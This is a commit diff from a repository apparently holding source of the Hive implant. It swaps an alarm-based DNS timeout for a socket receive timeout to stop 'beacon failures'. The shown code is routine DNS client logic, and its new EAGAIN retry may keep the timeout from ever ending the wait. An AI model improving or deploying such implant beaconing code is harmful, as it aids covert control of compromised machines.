STRLCPY/Vault-8-Hive

Modify implementation of timeout on DNS queries to eliminate beacon failures on some platforms due to DNS response failure.
User #142 committed 9 years ago

0ba875c4

1 parent 54c338d5

Total 1 files

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server/dns_client.c

1		-	#include <sys/types.h>
2		-	#include <sys/socket.h>
3	1		#include <arpa/inet.h>
4		-	#include <netinet/in.h>
	2	+	#include <errno.h>
5	3		#include <signal.h>
6	4		#include <string.h>
7	5		#include <stdio.h>
8	6		#include <stdlib.h>
9	7		#include <string.h>
10	8		#include <unistd.h>
	9	+	#include <netinet/in.h>
	10	+	#include <sys/socket.h>
	11	+	#include <sys/types.h>
11	12		#include "dns_protocol.h"
12	13		#include "decode_dns.h"
13	14		#include "debug.h"
14		-
15		-	enum {WAITING = 0, TIMED_OUT = 1} response_timeout;
16	15
17	16		/*!
18	17		* @brief Perform DNS lookup
		skipped 10 lines
29	28		DNS_header *header;
30	29		DNS_response *response;
31	30
	31	+	int sock;
32	32		struct sockaddr_in sin;
33	33		int sin_len = sizeof(sin);
34		-	int sock;
35	34
36		-	struct sigaction response_timer;
	35	+	struct timeval timer;
37	36		void *qp;
38	37		size_t buflen = 0;
39	38		char *p;
40	39		int n;
41	40		uint16_t queryID = 0;
	41	+
	42	+	timer.tv_sec = DNS_TIMEOUT;
	43	+	timer.tv_usec = 0;
42	44
43	45		DLX(5,printf("Attempting to resolve %s\n", ip));
44	46		if ((sock = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP)) == -1) {
45	47		DLX(4, perror("Could not create socket"));
46	48		return NULL;
	49	+	}
	50	+	if (setsockopt(sock, SOL_SOCKET, SO_RCVTIMEO, (char*)&timer, sizeof(struct timeval)) < 0) {
	51	+	DLX(4, printf("Failed to set timeout on socket: %s\n", strerror(errno)));
47	52		}
48	53		memset((char *) &sin, 0, sizeof(sin));
49	54		sin.sin_family = AF_INET;
		skipped 36 lines
86	91		free(tbuf);
87	92		}
88	93		// Send DNS query
89		-	DLX(5,printf("Sending DNS query...\n"));
	94	+	DLX(5,printf("Sending DNS query using socket: %d ...\n", sock));
90	95		buflen = (size_t)qp - (size_t)buf;
91	96		DPB(6, "DNS Query: ", buf, buflen);
92	97		n = sendto(sock, buf, buflen, 0, (struct sockaddr *) &sin, sin_len);
		skipped 6 lines
99	104		//*************************************************************************************************
100	105
101	106		// Wait for DNS server response
102		-	response_timer.sa_handler = timeout_handler;
103		-	if ((sigaction(SIGALRM, &response_timer, NULL)) != 0) {
104		-	DLX(4, perror("Timeout setup"));
105		-	}
106		-	response_timeout = WAITING;
107		-	alarm(DNS_TIMEOUT);
	107	+
108	108		response = (DNS_response *)buf;
109	109		DLX(4,printf("Waiting for response from DNS server...\n"));
110	110		do {
111	111		n = recv(sock, buf, MAX_MSG_LENGTH, 0);
112	112		if (n < 0) {
113		-	DLX(4, perror("Error receiving DNS response"));
	113	+	if (errno == EAGAIN)
	114	+	continue;
114	115		close(sock);
115	116		return NULL;
116	117		}
		skipped 1 lines
118	119		DLX(4, printf("Packet received is %i bytes -- too small for a DNS response\n", n));
119	120		continue;
120	121		header = (DNS_header *)buf;
121		-	} while (ntohs(header->id) != queryID && !header->qr && response_timeout == WAITING); // QR must be set and the header ID must match the queryID
	122	+	DL(5);
	123	+	} while (ntohs(header->id) != queryID && !header->qr); // QR must be set and the header ID must match the queryID
122	124		close(sock);
123		-	alarm(0); // Kill timer
124		-
125		-	if (response_timeout == TIMED_OUT) {
126		-	DLX(4, printf("No response from DNS server\n"));
127		-	return NULL;
128		-	}
129	125
130	126		if (header->ancount == 0) {
131	127		DLX(4, printf("%s did not resolve\n", ip));
		skipped 3 lines
135	131		return (decode_dns(response));
136	132		}
137	133
138		-	void timeout_handler(int signal)
139		-	{
140		-	if (signal == SIGALRM) {
141		-	DLX(4, printf("DNS lookup timed out.\n"));
142		-	response_timeout = TIMED_OUT;
143		-	}
144		-	}
145		-

Modify implementation of timeout on DNS queries to eliminate beacon failures on some platforms due to DNS response failure.